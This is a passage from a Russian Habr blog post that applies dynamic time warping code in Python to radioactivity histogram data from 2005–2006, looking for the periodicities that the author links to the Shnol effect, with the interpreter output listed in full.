for jk in range(int(len(matrixd)/koeff)):
averaged=mean(harrad[jk])
for mk in range(koeff): harrad[jk][mk]=harrad[jk][mk]/averaged
```
Далее привожу функцию сравнения:
```
import numpy
import numpy as np
from numpy.fft import fft, fftfreq
import matplotlib.pyplot as plt
from numpy import linspace, loadtxt, ones, convolve
from numpy import array, zeros, argmin, inf
from numpy.linalg import norm
def _trackeback(D):
i, j = array(D.shape) - 1
p, q = [i], [j]
while (i > 0 and j > 0):
tb = argmin((D[i-1, j-1], D[i-1, j], D[i, j-1]))
if (tb == 0):
i = i - 1
j = j - 1
elif (tb == 1):
i = i - 1
elif (tb == 2):
j = j - 1
p.insert(0, i)
q.insert(0, j)
p.insert(0, 0)
q.insert(0, 0)
return (array(p), array(q))
def dtw(dr):
r, c = len(dr), len(dr[0]);
D = zeros((r + 1, c + 1));
D[0, 1:] = inf
D[1:, 0] = inf
for i in range(r):
for j in range(c):
D[i+1, j+1] = dr[i][j];
for i in range(r):
for j in range(c):
D[i+1, j+1] += min(D[i, j], D[i, j+1], D[i+1, j])
D = D[1:, 1:];
dist = D[-1, -1] / sum(D.shape);
return dist, D, _trackeback(D)
```
```
def stat(x,y):
pikk=[[float("inf") for m in range(len(y))] for t in range(len(x))];
for e in range(len(x)):
for l in range(len(y)): pikk[e][l]=(((abs(x[e]-y[l])))*(abs(e-l)+1));
dt=dtw(pikk)
p1=dt[2][0];p=dt[2][1];
res=0;uj=0;rmu=0;
for e in range(len(p)):
for l in range(len(p1)):
pl=p[l];pe=p[e];ml=p1[l];me=p1[e];
#pl=l;pe=e;ml=l;me=e;
ret=0;re=1;rea=0;red=0;ab=abs(y[pl]-y[pe]);ac=(pe-pl);rmt=abs(1-x[ml]/y[pl]);rmr=abs(1-x[me]/y[pe]);
au=abs(x[ml]-x[me]);ao=(me-ml);hip=math.sqrt(ab**2+ac**2);hipe=math.sqrt(ao**2+au**2);
if (1
```
Далее пример кода сравнения 1440 раз всех графиков с отступом от 0 до +1440 минут 2005 и 2006 года:
```
def dist(rast):
statistic=0;statis=0;
for i in range(1440):
jk=i+000;x=harra1[jk];y=harra[jk+rast];
rt=stat(x,y);
statistic+=rt;
jk=i+000;x=harra[jk];y=harra1[jk+rast];
rt=stat(x,y);
statis+=rt;
return statis,statistic;
d=[];
for i in range(1440):
print(i);
d.append((dist(i),i));
print(d[-1]);
d004=[];
for i in range(len(d)):
t4=int(d[i][0][0]+d[i][0][1])/2
d004.append(t4)
import numpy
numpy.argsort(d004)
```
Для данных за 2 суток я исследовал окрестности +1440 минут:
`>>> for i in range(len(d1)):
... print(d01[i],1440-i)
...
1529.0 1440
1499.0 1439
1510.0 1438
1530.5 1437
#### **1439.5 1436**
1534.5 1435
1516.0 1434
1473.0 1433
1503.0 1432
1486.0 1431
1514.5 1430
1507.5 1429
1525.0 1428
1460.0 1427
1558.5 1426
1562.5 1425
1495.0 1424
1511.0 1423
1527.5 1422
1507.0 1421
1506.0 1420
1498.0 1419
1517.0 1418
1471.0 1417
1478.0 1416
1588.0 1415
1513.5 1414
>>> import numpy
>>> numpy.argsort(d01)
array([ 38, **4**, 78, 71, 59, 76, 13, 101, 74, 83, 41, 90, 23,
7, 24, 9, 33, 48, 100, 70, 29, 54, 44, 91, 63, 103,
93, 87, 42, 32, 16, 97, 57, 30, 21, 61, 39, 1, 64,
77, 99, 49, 52, 8, 79, 95, 66, 51, 45, 20, 40, 27,
60, 19, 11, 86, 34, 92, 2, 88, 17, 85, 26, 10, 6,
81, 22, 36, 73, 58, 56, 50, 12, 65, 69, 18, 46, 0,
68, 84, 3, 67, 96, 5, 28, 102, 31, 55, 47, 43, 75,
98, 94, 35, 89, 14, 37, 15, 72, 53, 82, 62, 25, 80])
>>> d01[38]
1419.0
>>> d01[4]
1439.5`
И вот результат второй минимум выпадает на +[1436 минуту d01[4] -4 значение](https://github.com/a-nai/radioactivity/blob/master/d01.txt)
`>>> for i in range(70):
... print(d04[340+i])
...
(1444, 340)
(1451, 341)
(1531, 342)
(1433, 343)
(1495, 344)
(1460, 345)
(1494, 346)
(1489, 347)
**(1460, 348)**
(1492, 349)
(1491, 350)
(1499, 351)
(1477, 352)
(1499, 353)
(1431, 354)
(1520, 355)
(1481, 356)
(1454, 357)
(1530, 358)
(1496, 359)
(1443, 360)
(1434, 361)
(1450, 362)
(1470, 363)
(1493, 364)
(1485, 365)
(1428, 366)
(1491, 367)
(1516, 368)
#### **(1414, 369)**
(1521, 370)
(1452, 371)
(1455, 372)
#### **(1384, 373)**
(1525, 374)
(1395, 375)
(1436, 376)
(1430, 377)
(1478, 378)
(1457, 379)
(1444, 380)
(1429, 381)
(1476, 382)
(1608, 383)
(1499, 384)
(1439, 385)
(1467, 386)
(1466, 387)
(1516, 388)
(1471, 389)
(1471, 390)
(1456, 391)
(1472, 392)
(1442, 393)
(1435, 394)
(1495, 395)
(1476, 396)
(1484, 397)
(1474, 398)
(1489, 399)
(1422, 400)
(1440, 401)
(1477, 402)
(1489, 403)
(1494, 404)
(1472, 405)
(1541, 406)
(1469, 407)
(1522, 408)
(1444, 409)`
Далее для звездного года. Тут надо определить, что алгоритм сравнивает картинки коллективного взаимодействия, поэтому гистограмный метод находит 368 как абсолютный минимум. Здесь же 373 минута, третья от конца 369 минута — тоже локальный минимум и 348 минута.
Всего рассчитано до +1440 минут двух дней в 2005 и 2006 годах.
`>>> sor=numpy.argsort(d004)
>>> sor[:90] # всего до sor[:1440]
array([ 137, 140, **373**, 583, 2, 47, 375, 266, 709, 40, 439,
29, 751, 226, 245, 433, 217, 789, 437, 524, 659, **369**,
124, 919, 954, 544, 76, 256, 103, 991, 419, 106, 323,
400, 606, 626, 120, 99, 259, 321, 11, 1369, 235, 366,
158, 1258, 240, 381, 176, 118, 491, 377, 207, 354, 123,
825, 415, 167, 897, 588, 865, 46, 1129, **343**, 60, 97,
842, 361, 211, 394, 628, 435, 1218, 878, 268, 376, 153,
165, 880, 494, 643, 609, 1439, 301, 85, 107, 252, 385,
173, 455])`
Данный алгоритм неточен (<https://habr.com/ru/post/339078/> — вот более точная версия). Пока недостаточно данных но впереди высвечивается практическое применение эффекта Шноля и также необходимо найти лунный месяц 29.5 суток и другие периоды | https://habr.com/ru/post/534996/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.